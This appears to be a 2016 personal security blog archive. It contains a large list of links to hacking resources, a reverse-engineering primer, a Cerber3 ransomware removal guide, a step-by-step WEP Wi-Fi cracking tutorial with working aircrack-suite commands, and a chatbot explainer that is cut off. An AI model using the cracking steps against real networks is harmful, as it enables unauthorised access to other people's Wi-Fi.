W37c0m3 t0 H377

Important links

2016-11-09T12:37:00.003-08:00

HackerMedia

http://carnal0wnage.blogspot.com/
http://www.mcgrewsecurity.com/
http://www.gnucitizen.org/blog/
http://www.darknet.org.uk/
http://spylogic.net/
http://taosecurity.blogspot.com/
http://www.room362.com/
http://blog.sipvicious.org/
http://blog.portswigger.net/
http://pentestmonkey.net/blog/
http://jeremiahgrossman.blogspot.com/
http://i8jesus.com/
http://blog.c22.cc/
http://www.skullsecurity.org/blog/
http://blog.metasploit.com/
http://www.darkoperator.com/
http://blog.skeptikal.org/
http://preachsecurity.blogspot.com/
http://www.tssci-security.com/
http://www.gdssecurity.com/l/b/
http://websec.wordpress.com/
http://bernardodamele.blogspot.com/
http://laramies.blogspot.com/
http://www.spylogic.net/
http://blog.andlabs.org/
http://xs-sniper.com/blog/
http://www.commonexploits.com/
http://www.sensepost.com/blog/
http://wepma.blogspot.com/
http://exploit.co.il/
http://securityreliks.wordpress.com/
http://www.madirish.net/index.html
http://sirdarckcat.blogspot.com/
http://reusablesec.blogspot.com/
http://myne-us.blogspot.com/
http://www.notsosecure.com/
http://blog.spiderlabs.com/
http://www.corelan.be/
http://www.digininja.org/
http://www.pauldotcom.com/
http://www.attackvector.org/
http://deviating.net/
http://www.alphaonelabs.com/
http://www.smashingpasswords.com/
http://wirewatcher.wordpress.com/
http://gynvael.coldwind.pl/
http://www.nullthreat.net/
http://www.question-defense.com/
http://archangelamael.blogspot.com/
http://memset.wordpress.com/
http://sickness.tor.hu/
http://punter-infosec.com/
http://www.securityninja.co.uk/
http://securityandrisk.blogspot.com/
http://esploit.blogspot.com/
http://www.pentestit.com/

Magazines

    http://www.net-security.org/insecuremag.php
    http://hakin9.org/

Forum

    http://sla.ckers.org/forum/index.php
    http://www.ethicalhacker.net/
    http://www.backtrack-linux.org/forums/
    http://www.elitehackers.info/forums/
    http://www.hackthissite.org/forums/index.php
    http://securityoverride.com/forum/index.php
    http://www.iexploit.org/
    http://bright-shadows.net/
    http://www.governmentsecurity.org/forum/

Methodologies

    http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
    http://www.pentest-standard.org/index.php/Main_Page
    http://projects.webappsec.org/w/page/13246978/Threat-Classification
    http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
    http://www.social-engineer.org/

OSINT

   Presentation :


    http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-1-social-networks/
    http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-%E2%80%93-part-2-blogs-message-boards-and-metadata/
    http://www.spylogic.net/2009/10/enterprise-open-source-intelligence-gathering-part-3-monitoring/
    http://www.slideshare.net/Laramies/tactical-information-gathering
    http://www.sans.org/reading_room/whitepapers/privacy/document_metadata_the_silent_killer__32974
    http://infond.blogspot.com/2010/05/toturial-footprinting.html

Infrastructure

    http://uptime.netcraft.com/
    http://www.serversniff.net/
    http://www.domaintools.com/
    http://centralops.net/co/
    http://hackerfantastic.com/
    http://whois.webhosting.info/
    https://www.ssllabs.com/ssldb/analyze.html
    http://www.clez.net/
    http://www.my-ip-neighbors.com/
    http://www.shodanhq.com/
    http://www.exploit-db.com/google-dorks/
    http://www.hackersforcharity.org/ghdb/

Exploits and Advisories

    http://www.exploit-db.com/
    http://www.cvedetails.com/
    http://www.milw0rm.com/ (Down permanently)
    http://www.packetstormsecurity.org/
    http://www.securityforest.com/wiki/index.php/Main_Page
    http://www.securityfocus.com/bid
    http://nvd.nist.gov/
    http://osvdb.org/
    http://www.nullbyte.org.il/Index.html
    http://secdocs.lonerunners.net/
    http://www.phenoelit-us.org/whatSAP/index.html
    http://secunia.com/
    http://cve.mitre.org/

Cheatsheets and Syntax

    http://cirt.net/ports_dl.php?export=services
    http://www.cheat-sheets.org/
    http://blog.securitymonks.com/2009/08/15/whats-in-your-folder-security-cheat-sheets/

Agile Hacking

    http://www.gnucitizen.org/blog/agile-hacking-a-homegrown-telnet-based-portscanner/
    http://blog.commandlinekungfu.com/
    http://www.securityaegis.com/simple-yet-effective-directory-bruteforcing/
    http://isc.sans.edu/diary.html?storyid=2376
    http://isc.sans.edu/diary.html?storyid=1229
    http://ss64.com/nt/
    http://pauldotcom.com/2010/02/running-a-command-on-every-mac.html
    http://synjunkie.blogspot.com/2008/03/command-line-ninjitsu.html
    http://www.zonbi.org/2010/06/09/wmic-the-other-other-white-meat/
    http://rstcenter.com/forum/22324-hacking-without-tools-windows.rst
    http://www.coresecurity.com/files/attachments/Core_Define_and_Win_Cmd_Line.pdf
    http://www.scribd.com/Penetration-Testing-Ninjitsu2-Infrastructure-and-Netcat-without-Netcat/d/3064507
    http://www.pentesterscripting.com/
    http://www.sans.org/reading_room/whitepapers/hackers/windows-script-host-hack-windows_33583
    http://www.blackhat.com/presentations/bh-dc-10/Bannedit/BlackHat-DC-2010-Bannedit-Advanced-Command-Injection-Exploitation-1-wp.pdf

Tools

    http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
    http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf
    http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf
    http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf
    http://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf
    http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html
    http://h.ackack.net/cheat-sheets/netcat

Distros

    http://www.backtrack-linux.org/
    http://www.matriux.com/
    http://samurai.inguardians.com/
    http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project
    https://pentoo.ch/
    http://www.hackfromacave.com/articles_and_adventures/katana_v2_release.html
    http://www.piotrbania.com/all/kon-boot/
    http://www.linuxfromscratch.org/
    http://sumolinux.suntzudata.com/
    http://blog.0x0e.org/2009/11/20/pentesting-with-an-ubuntu-box/#comments
    http://www.backbox.org/

LABS:

       ISOs and VMs

    http://sourceforge.net/projects/websecuritydojo/
    http://code.google.com/p/owaspbwa/wiki/ProjectSummary
    http://heorot.net/livecds/
    http://informatica.uv.es/~carlos/docencia/netinvm/
    http://www.bonsai-sec.com/en/research/moth.php
    http://blog.metasploit.com/2010/05/introducing-metasploitable.html
    http://pynstrom.net/holynix.php
    http://gnacktrack.co.uk/download.php
    http://sourceforge.net/projects/lampsecurity/files/
    https://www.hacking-lab.com/news/newspage/livecd-v4.3-available.html
    http://sourceforge.net/projects/virtualhacking/files/
    http://www.badstore.net/
    http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-

owasp-top-10
    http://www.dvwa.co.uk/
    http://sourceforge.net/projects/thebutterflytmp/

    Vulnerable Software

    http://www.oldapps.com/
    http://www.oldversion.com/
    http://www.exploit-db.com/webapps/
    http://code.google.com/p/wavsep/downloads/list
    http://www.owasp.org/index.php/Owasp_SiteGenerator
    http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
    http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
    http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
    http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx

    Test Sites


    http://www.webscantest.com/
    http://crackme.cenzic.com/Kelev/view/home.php
    http://zero.webappsecurity.com/banklogin.asp?

serviceName=FreebankCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com
    http://testaspnet.vulnweb.com/
    http://testasp.vulnweb.com/
    http://testphp.vulnweb.com/
    http://demo.testfire.net/
    http://hackme.ntobjectives.com/
Passwords and Hashes

    http://www.irongeek.com/i.php?page=videos/password-exploitation-class
    http://cirt.net/passwords
    http://sinbadsecurity.blogspot.com/2008/10/ms-sql-server-password-recovery.html
    http://www.foofus.net/~jmk/medusa/medusa-smbnt.html
    http://www.foofus.net/?page_id=63
    http://hashcrack.blogspot.com/
    http://www.nirsoft.net/articles/saved_password_location.html
    http://www.onlinehashcrack.com/
    http://www.md5this.com/list.php?
    http://www.virus.org/default-password
    http://www.phenoelit-us.org/dpl/dpl.html
    http://news.electricalchemy.net/2009/10/cracking-passwords-in-cloud.html

Wordlist

* http://contest.korelogic.com/wordlists.html
* http://packetstormsecurity.org/Crackers/wordlists/
* http://www.skullsecurity.org/wiki/index.php/Passwords
* http://www.ericheitzman.com/passwd/passwords/
http://blog.cobaltstrike.com/category/links/

https://picoctf.com/learn
Tools:

    OSINT:

    * http://www.edge-security.com/theHarvester.php
    * http://www.mavetju.org/unix/dnstracer-man.php
    * http://www.paterva.com/web5/

        Metadata:

          * http://www.sans.org/reading_room/whitepapers/privacy/document-metadata-silent-

killer_32974
          * http://lcamtuf.coredump.cx/strikeout/
          * http://www.sno.phy.queensu.ca/~phil/exiftool/
          * http://www.edge-security.com/metagoofil.php
          * http://www.darkoperator.com/blog/2009/4/24/metadata-enumeration-with-foca.html

    Google Hacking:

    * http://www.stachliu.com/index.php/resources/tools/google-hacking-diggity-project/
    * http://midnightresearch.com/projects/search-engine-assessment-tool/#downloads
    * http://sqid.rubyforge.org/#next
    * http://voidnetwork.org/5ynL0rd/darkc0de/python_script/dorkScan.html

Web:

* http://www.bindshell.net/tools/beef
* http://blindelephant.sourceforge.net/
* http://xsser.sourceforge.net/
* http://sourceforge.net/projects/rips-scanner/
* http://www.divineinvasion.net/authforce/
* http://andlabs.org/tools.html#sotf
* http://www.taddong.com/docs/Browser_Exploitation_for_Fun&Profit_Taddong-

RaulSiles_Nov2010_v1.1.pdf
* http://carnal0wnage.blogspot.com/2007/07/using-sqid-sql-injection-digger-to-look.html
* http://code.google.com/p/pinata-csrf-tool/
* http://xsser.sourceforge.net/#intro
* http://www.contextis.co.uk/resources/tools/clickjacking-tool/
* http://packetstormsecurity.org/files/view/69896/unicode-fun.txt
* http://sourceforge.net/projects/ws-attacker/files/
* https://github.com/koto/squid-imposter

Attack Strings:

* http://code.google.com/p/fuzzdb/
* http://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements

Shells:

* http://sourceforge.net/projects/yokoso/
* http://sourceforge.net/projects/ajaxshell/

Scanners:

* http://w3af.sourceforge.net/
* http://code.google.com/p/skipfish/
* http://sqlmap.sourceforge.net/
* http://sqid.rubyforge.org/#next
* http://packetstormsecurity.org/UNIX/scanners/XSSscan.py.txt
* http://code.google.com/p/fimap/wiki/WindowsAttack
* http://code.google.com/p/fm-fsf/

     Proxies:

        Burp:

            * http://www.sans.org/reading_room/whitepapers/testing/fuzzing-approach-

credentials-discovery-burp-intruder_33214
            * http://www.gdssecurity.com/l/b/2010/08/10/constricting-the-web-the-gds-burp-

api/
            * http://sourceforge.net/projects/belch/files/
            * http://www.securityninja.co.uk/application-security/burp-suite-tutorial-

repeater-and-comparer-tools
            * http://blog.ombrepixel.com/
            * http://andlabs.org/tools.html#dser
            * http://feoh.tistory.com/22
          * http://www.sensepost.com/labs/tools/pentest/reduh
          * http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project
          * http://intrepidusgroup.com/insight/mallory/
          * http://www.fiddler2.com/fiddler2/
          * http://websecuritytool.codeplex.com/documentation?referringTitle=Home
          * http://translate.google.com/translate?

hl=en&sl=es&u=http://xss.codeplex.com/releases/view/43170&prev=/search%3Fq

%3Dhttp://www.hackingeek.com/2010/08/x5s-encuentra-fallos-xss-lfi-rfi-en-tus.html%26hl

%3Den&rurl=translate.google.com&twu=1

Social Engineering:

* http://www.secmaniac.com/

Password:

* http://nmap.org/ncrack/
* http://www.foofus.net/~jmk/medusa/medusa.html
* http://www.openwall.com/john/
* http://ophcrack.sourceforge.net/
* http://blog.0x3f.net/tool/keimpx-in-action/
* http://code.google.com/p/keimpx/
* http://sourceforge.net/projects/hashkill/

Metasploit

    http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html
    http://code.google.com/p/msf-hack/wiki/WmapNikto
    http://www.indepthdefense.com/2009/01/metasploit-visual-basic-payloads-in.html
    http://seclists.org/metasploit/
    http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html
    http://meterpreter.illegalguy.hostzi.com/
    http://blog.metasploit.com/2010/03/automating-metasploit-console.html
    http://www.workrobot.com/sansfire2009/561.html
    http://www.securitytube.net/video/711
    http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download
    http://vimeo.com/16852783
    http://milo2012.wordpress.com/2009/09/27/xlsinjector/
    http://www.fastandeasyhacking.com/
    http://trac.happypacket.net/
    http://www.blackhat.com/presentations/bh-dc-10/Ames_Colin/BlackHat-DC-2010-colin-david-neurosurgery-with-meterpreter-wp.pdf
    http://www.blackhat.com/presentations/bh-dc-10/Egypt/BlackHat-DC-2010-Egypt-UAV-slides.pdf

CTF

https://ctfs.github.io/resources/
http://canyouhack.it/
https://trailofbits.github.io/ctf/vulnerabilities/README.html

resouces

https://www.pelock.com/articles

NSE

    http://www.securitytube.net/video/931
    http://nmap.org/nsedoc/

Net Scanners and Scripts:

    http://nmap.org/
    http://asturio.gmxhome.de/software/sambascan2/i.html
    http://www.softperfect.com/products/networkscanner/
    http://www.openvas.org/
    http://tenable.com/products/nessus
    http://www.rapid7.com/vulnerability-scanner.jsp
    http://www.eeye.com/products/retina/community

Post Exploitation

    http://www.awarenetwork.org/home/rattle/source/python/exe2bat.py
    http://www.phx2600.org/archive/2008/08/29/metacab/
    http://www.room362.com/blog/2011/9/6/post-exploitation-command-lists.html

    Netcat:

    http://readlist.com/lists/insecure.org/nmap-dev/1/7779.html
    http://www.radarhack.com/tutorial/ads.pdf
    http://www.infosecwriters.com/text_resources/pdf/Netcat_for_the_Masses_DDebeer.pdf
    http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
    http://www.dest-unreach.org/socat/
    http://www.antionline.com/archive/index.php/t-230603.html
    http://technotales.wordpress.com/2009/06/14/netcat-tricks/
    http://seclists.org/nmap-dev/2009/q1/581
    http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/
    http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf
    http://gse-compliance.blogspot.com/2008/07/netcat.html


    Firefox Addons:

    https://addons.mozilla.org/id/firefox/collections/byrned/pentesting/?page=8
    https://addons.mozilla.org/en-US/firefox/addon/osvdb/
    https://addons.mozilla.org/en-US/firefox/addon/packet-storm-search-plugin/
    https://addons.mozilla.org/en-US/firefox/addon/default-passwords-cirtne-58786/
    https://addons.mozilla.org/en-US/firefox/addon/offsec-exploit-db-search/
    https://addons.mozilla.org/en-US/firefox/addon/oval-repository-search-plugin/
    https://addons.mozilla.org/en-US/firefox/addon/cve-dictionary-search-plugin/
    https://addons.mozilla.org/en-US/firefox/addon/hackbar/

    Tool Listings:

    http://packetstormsecurity.org/files/tags/tool
    http://tools.securitytube.net/index.php?title=Main_Page

Programming:

        Python:

    http://code.google.com/edu/languages/google-python-class/index.html
    http://www.swaroopch.com/notes/Python_en:Table_of_Contents
    http://www.thenewboston.com/?cat=40&pOpen=tutorial
    http://showmedo.com/videotutorials/python
    http://www.catonmat.net/blog/learning-python-programming-language-through-video-

lectures/
https://learnpythonthehardway.org/book/ex0.html

    Ruby:

    http://www.tekniqal.com/

        Other Misc:

    http://www.cs.sjtu.edu.cn/~kzhu/cs490/
    https://noppa.tkk.fi/noppa/kurssi/t-110.6220/luennot/
    http://i-web.i.u-tokyo.ac.jp/edu/training/ss/lecture/new-documents/Lectures/
    http://resources.infosecinstitute.com/
    http://vimeo.com/user2720399

    Web Vectors

    SQLi

    tp://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
http://isc.sans.edu/diary.html?storyid=9397
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.evilsql.com/main/index.php
http://xd-blog.com.ar/descargas/manuales/bugs/full-mssql-injection-pwnage.html
http://securityoverride.com/articles.php?

article_id=1&article=The_Complete_Guide_to_SQL_Injections
http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
http://sqlzoo.net/hack/
http://www.sqlteam.com/article/sql-server-versions
http://www.krazl.com/blog/?p=3
http://www.owasp.org/index.php/Testing_for_MS_Access
http://web.archive.org/web/20101112061524/http://seclists.org/pen-test/2003/May/0074.html
http://web.archive.org/web/20080822123152/http://www.webapptest.org/ms-access-sql-

injection-cheat-sheet-EN.html
http://www.youtube.com/watch?v=WkHkryIoLD0
http://layerone.info/archives/2009/Joe%20McCray%20-%20Advanced%20SQL%20Injection%20-

%20L1%202009.pdf
http://vimeo.com/3418947
http://sla.ckers.org/forum/read.php?24,33903
http://websec.files.wordpress.com/2010/11/sqli2.pdf
http://old.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
http://ha.ckers.org/sqlinjection/
http://lab.mediaservice.net/notes_more.php?id=MSSQL

Upload Tricks:

    http://www.google.com/#hl=en&q=bypassing+upload+file

+type&start=40&sa=N&fp=a2bb30ecf4f91972
    http://blog.skeptikal.org/2009/11/adobe-responds-sort-of.html
    http://blog.insicdesigns.com/2009/01/secure-file-upload-in-php-web-applications/
    http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/
    http://ex.ploit.net/f20/tricks-tips-bypassing-image-uploaders-t3hmadhatt3r-38/
    http://www.ravenphpscripts.com/article2974.html
    http://www.acunetix.com/cross-site-scripting/scanner.htm
    http://www.vupen.com/english/advisories/2009/3634
    http://msdn.microsoft.com/en-us/library/aa478971.aspx
    http://dev.tangocms.org/issues/237
    http://seclists.org/fulldisclosure/2006/Jun/508
    http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/


http://www.ipolicynetworks.com/technology/files/TikiWiki_jhot.php_Script_File_Upload_Securi

ty_Bypass_Vulnerability.html
    http://shsc.info/FileUploadSecurity

    LFI/RFI:


    http://pastie.org/840199
    http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
    http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?

utm_source=twitterfeed&utm_medium=twitter
    http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-

trade/
    http://www.digininja.org/blog/when_all_you_can_do_is_read.php

    XSS:

    http://www.infosecwriters.com/hhworld/hh8/csstut.htm
    http://www.technicalinfo.net/papers/CSS.html
    http://msmvps.com/blogs/alunj/archive/2010/07/07/1773441.aspx
    http://forum.intern0t.net/web-hacking-war-games/112-cross-site-scripting-attack-

defense-guide.html
    https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-

Lindsay-Nava-IE8-XSS-Filters-slides.pdf
    http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html
    http://www.securityaegis.com/filter-evasion-houdini-on-the-wire/
    http://heideri.ch/jso/#javascript
    http://www.reddit.com/r/xss/
    http://sla.ckers.org/forum/list.php?2

    Coldfusion:

        ttp://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
    http://zastita.com/02114/Attacking_ColdFusion..html
    http://www.nosec.org/2010/0809/629.html
    http://h30507.www3.hp.com/t5/Following-the-White-Rabbit-A/Adobe-ColdFusion-s-

Directory-Traversal-Disaster/ba-p/81964


http://cfunited.com/2009/files/presentations/254_ShlomyGantz_August2009_HackProofingColdFus

ion.pdf

    Sharepoint:

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6131.msg32678/#msg32678

    Lotus:

    http://blog.ombrepixel.com/post/2009/05/06/Lotus-Notes/Domino-Security
    http://seclists.org/pen-test/2002/Nov/43
    http://www.sectechno.com/2010/07/12/hacking-lotus-domino/?

    JBoss:

    http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf
    http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html

VMWare Web:

    http://www.metasploit.com/modules/auxiliary/scanner/http/vmware_server_dir_trav

    Oracle App Servers:

    http://www.hideaway.net/2007/07/hacking-oracle-application-servers.html
    http://www.owasp.org/index.php/Testing_for_Oracle
    http://www.ngssoftware.com/services/software-products/internet-security/orascan.aspx
    http://www.ngssoftware.com/services/software-products/Database-

Security/NGSSQuirreLOracle.aspx
    http://www.ngssoftware.com/papers/hpoas.pdf

    SAP:

    http://www.onapsis.com/research.html#bizploit
    http://marc.info/?l=john-users&m=121444075820309&w=2
    http://www.phenoelit-us.org/whatSAP/index.html

    Wireless:

    http://code.google.com/p/pyrit/

    Capture the Flag/Wargames:

    http://intruded.net/
    http://smashthestack.org/
    http://flack.hkpco.kr/
    http://ctf.hcesperer.org/
    http://ictf.cs.ucsb.edu/
    http://capture.thefl.ag/calendar/

Reverse Engineering for Noobs

2016-11-03T13:17:00.000-07:00

This is for people who are interested in Reverse Engineering and are bit confused . I am just here to help you. You would find books online saying that you can become a great reverse engineer . So before guys you jump on the band wagon and ha hoo!! please read the below properly.

Operating System Concepts
High Level & Low Level Programming (familiarity is fine, working knowledge not required at first)
Fundamentals of networking
How to use the internet to perform research

Beginner:

Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration
Introduction to ARM
The Life of Binaries
Malware Dynamic Analysis
Introduction to Trusted Computing

Intermediate:

Intermediate Intel x86: Architecture, Assembly, Applications, & Alliteration
Introduction to Software Exploits
Exploits 2: Exploitation in the Windows Environment

Advanced:

Rootkits: What they are, and how to find them
Introduction to Reverse Engineering Software
Reverse Engineering Malware
Advanced x86: Virtualisation with Intel VT-x

So, thats about it .. Now you can search for them on google.

Here goes nothing....

Once you have done the above damage to your self (just kidding) try the following

Udemy

You should also know different reverse engineering tools.

1. Disassemblers – A disassembler is used to convert binary code into assembly code and also used to extract strings, imported and exported functions, libraries etc. The disassemblers convert the machine language into a user-friendly format. There are different dissemblers that specialize in certain things.

2. Debuggers – This tool expands the functionality of a disassembler by supporting the CPU registers, the hex duping of the program, view of stack etc. Using debuggers, the programmers can set breakpoints and edit the assembly code at run time. Debuggers analyse the binary in a similar way as the disassemblers and allow the reverser to step through the code by running one line at a time to investigate the results.

3. Hex Editors – These editors allow the binary to be viewed in the editor and change it as per the requirements of the software. There are different types of hex editors available that are used for different functions.

4. PE and Resource Viewer – The binary code is designed to run on a windows based machine and has a very specific data which tells how to set up and initialize a program. All the programs that run on windows should have a portable executable that supports the DLLs the program needs to borrow from.

Learn how to use the tools

Dissasembler – IDA Pro
Debugger – OllyDbg, WinDbg
System Monitor – Process Monitor, RegShot. Process Explorer
Network Monitor – TCP View, Wireshark
Packer Identifier – PEID
Unpacking Tools – Qunpack. GUNPacker
Binary Analysis Tools – PE Explorer, Malcode Analysts Pack
Code Analysis Tools – LordPE, ImpRec

Online Sources:

Tuts4You.com Tutorials
Sans.org and anything by Lenny Zeltser
Google Searches for “Malware Analysis <specific topic>”

Books:

Hope you guys read.....

Cerber 3 Ransomware

2016-10-18T03:25:00.000-07:00

Cerber3 ransomware is a hazardous computer virus that is obviously part of Cerber family of malware. Just like old versions, this virus was made to encrypt various files on the computer leaving it inaccessible. Cerber3 uses complex encryption algorithm, which is very hard to decode.

So here goes nothing..

Note: I am not responsible if this does not work out for you. Certain cases you may have to format your systems ., Please not share your drives to any one .

Note: there is not decrypting tool for cerber3 as of now

How to remove Cerber 3 Ransomware

1. Download the free scanner called ESET Rogue Application Remover. Download Link for ERAR (this will open a new window)

2. Choose appropriate version for your Windows System. Save the file to a convenient location, preferably on Desktop.
3. After downloading the file, Windows will prompt that download has completed. Click Run to start the program. Another option is to browse the location folder and double click on the file ERARemover_.exe.

4. On ESET Rogue Application Remover SOFTWARE LICENSE TERMS, click Accept to continue.
5. The tool will start scanning the computer. It will prompt when it finds Cerber3 Ransomware and other malicious entities. Follow the prompt to proceed with the removal.

Stage 2: Double-check for Cerber3 Ransomware’s leftover with Microsoft’s Malicious Software Removal Tool

1. Download the free scanner called Malicious Software Removal Tool. Malicious Software Removal Tool Download Link (this will open a new window). follow the onscreen instructions

2. The tool automatically checks the operating system and suggest appropriate download version. Click on Download button to begin. Save the file to a convenient location, preferably on Desktop.
3. After downloading the file, Windows will prompt that download has completed. Click Run to start scanning for Cerber3 Ransomware. Another option is to browse the location folder and double click on the file to run.

4. The tool will display Welcome screen, click Next. Please note the message “This tool is not a replacement for an antivirus product.” You must understand that this program is made specifically to find and remove malware, viruses, Trojans, and other harmful elements on the computer. It was not designed to protect the computer.

5. Next, you will see Scan Type. Please choose Full Scan to ensure that all Cerber3 Ransomware entities and other harmful files left on the computer will be found and removed. For advanced computer user, you can opt for Customized Scan, if there are other drives or folders you wanted to include in this scan.

6. Full scan may take a while, please wait for Malicious Software Removal Tool to complete the tasks. However, you may cancel the scan anytime by clicking on the Cancel button.

7. After scanning, the tool will reveal all identified threats. There may be other threats that our first scan fails to detect. Please remove/delete all detected items.
8. When removal procedure is complete, you may now close Malicious Software Removal Tool. We hope that Cerber3 Ransomware have been completely deleted from the computer. Please restart Windows to proceed with the normal operation.

[Recover .Cerber3 Files Using Decryption Tool - as stated earlier there is no way you can decrypt cerber 3 however you can try the following]

Option 1: Windows Previous Version Tool

Windows Vista and Windows 7 have a feature called Previous Versions. However, this tool is only usable if restore point was made prior to Cerber3 Ransomware infection. To use this tool and recover files affected by the virus, please follow these steps:
1. Open My Computer or Windows Explorer.
2. Right-click on the affected files or folders. From the drop-down list, please click on Restore previous versions.
3. New window will open display all backup copy of files and folders you wanted to recover. Choose the appropriate file and click on Open, Copy, or Restore. Restoring selected files overwrites the current encrypted files on the computer.

Option 2: Use ShadowExplorer to restore files encrypted by Cerber3 Ransomware

Just like Previous Version tool, ShadowExplorer is taking advantage of shadow copy created by Windows. This tool allows you to retrieve older version of files before it was encrypted by Cerber3 Ransomware.
1. Download ShadowExplorer from the official web site.
2. Install the program with the default settings.
3. The program should run automatically after installation. If not, double-click on ShadowExplorer icon.
4. You can see the drop-down list on top of the console. Please select proper drive and the most recent point-in-time shadow copies of files you wish to restore prior to Cerber3 Ransomware infection.

. Right-click on the Drive, Folder, or File you wish to restore and click Export…
6. Lastly, ShadowExplorer will prompt for location where you want to save the copy of recovered files.

points to remember : Cerber3 can destroy external drive. so please be cautious . this article has been taken from various sources and tested.

Wifi hacking / cracking

2016-10-04T11:22:00.000-07:00

Here is a titbit of wifi hacking and cracking . This is meant of education purpose only . I have taken most of the documentation from couple of sites to make things simpler. I dont own this.

This is a step by step article.

Before you do all these things read about kali linux you can documentation here [click on the below link ]

Kali Linux

So i presume that you have downloaded kali linux on your sytem . If you dont have space on your system you can use an USB drive to boot it up.

Lets get going... step by step.

Kali Linux and WEP Hacking

WEP is the original widely used encryption standard on routers. WEP is notoriously easy to hack. Even though WEP is rarely seen anymore it still does pop up every now and again.

Also this is a good place to start for someone new to wireless pen testing before moving on to WPA encryption.

Fire up your operating sytem [note it is kali linux i am talking about]

Open your terminal so it will look like this

Next type in the command “airmon-ng” without the quotes to see if your adapter is seen by Kali Linux. It should show the interface, chipset, and driver. If it doesn’t then some troubleshooting will have to be done as to why the adapter is not seen.

Next type in “airmon-ng start wlan0” to set the USB adapter into monitor mode.

Now we need to see what routers are out there and find the test router. To do this run the command “airodump-ng mon0”. After this command is run a screen will come up showing the routers in range and there information.

(If a adapter comes up enabled on mon1 or mon2 simply used that instead of mon0)

Once this information is seen don’t close the terminal window press CTRL+C inside the window to stop it from using the USB adapter and leave it to refer back to.

Open another terminal window to run the next command. Also when done this way the BSSID can be simply copied and pasted when needed.

Next the WEP encrypted data packets needs to be captured. To do this the airodump-ng command is used along with some switches and information collected.

For me this would be:
airodump-ng -w dlink -c 6 –bssid 00:26:5A:F2:57:2B mon0

airodump-ng is the command, -w is a switch saying to write a file called dlink to the drive, -c is a switch saying the target is on channel 6, –bssid is another switch saying which bssid to use, and finally mon0 is the command to use the USB adapter enabled on mon0.

Change the file name, channel, and bssid to match your test router. Copy the information from the first terminal window. Copy and pasting the BSSID into the new terminal window is much quicker then typing it for most.
airodump-ng -w (ESSID) -c (channel) –bssid (BSSID) mon0

After this is done correctly a window will come up and show information about the target router. The main feedback we need to watch is the Beacons and the Data.

These numbers will start at zero and grow as traffic is passed between the router and another device. As these numbers grow, they are being captured in the file specified in the previous command for this example it would be a file named “dink”. IV’s need to grow big to crack the password usually at least 20,000 plus, but ideally 100,000 plus. At this point someone can simply wait for the IV’s to grow large enough to crack the password, but there is a way to speed things up.

To speed up the IV’s open a third terminal window letting the second run capturing the data. In the new terminal window the aireplay-ng command will be used in a two part process first use the command “aireplay-ng -1 0 -a (BSSID) mon0”. So for this example it would be aireplay-ng -1 0 -a 00:26:5A:F2:57:2B mon0

After this run the command “airplay-ng -3 -b (BSSID) mon0” for this example it would be the following:
aireplay-ng -3 -b 00:26:5A:F2:57:2B mon0

This will begin sending out ARP request and the data and the beacons should begin to grow quickly. Again speeding up the capturing of the IV’s is not necessary but handy.

Aircrack-ng will be used on the data file being written to with the information. Aircrack-ng can be run at anytime even when there is not enough data captured it will say on the screen it needs more if there is not enough.

To use aircrack-ng we need the data file being written to the hard drive. In this example it is dlink. Open a new terminal window and type the command “ls” to see the file. The one aircrack-ng needs is the .CAP file here it is called “dlink-01.cap”.

All About Bots

2016-09-13T08:57:00.000-07:00

All About Bots

Note: This is just for education purpose , some of the literature is taken from many other places i dont own most of them .

What is a bot?

A bot is software that is designed to automate the kinds of tasks you would usually do on your own, like making a dinner reservation, adding an appointment to your calendar or fetching and displaying information. The increasingly common form of bots, chatbots, simulate conversation. They often live inside messaging apps — or are at least designed to look that way — and it should feel like you’re chatting back and forth as you would with a human.

What do bots do?

Some bots are used to handle a variety of customer service requests, which would normally require a telephone call to a human agent.

Where do bots live?

Chatbots already exist in many of the places where you communicate, primarily messaging apps, which lend themselves to a conversational interface. There are bots in Slack, the business-focused messaging service, many of which aim to help with work-related tasks like expenses or to-do-list.

What’s the business model for bots?

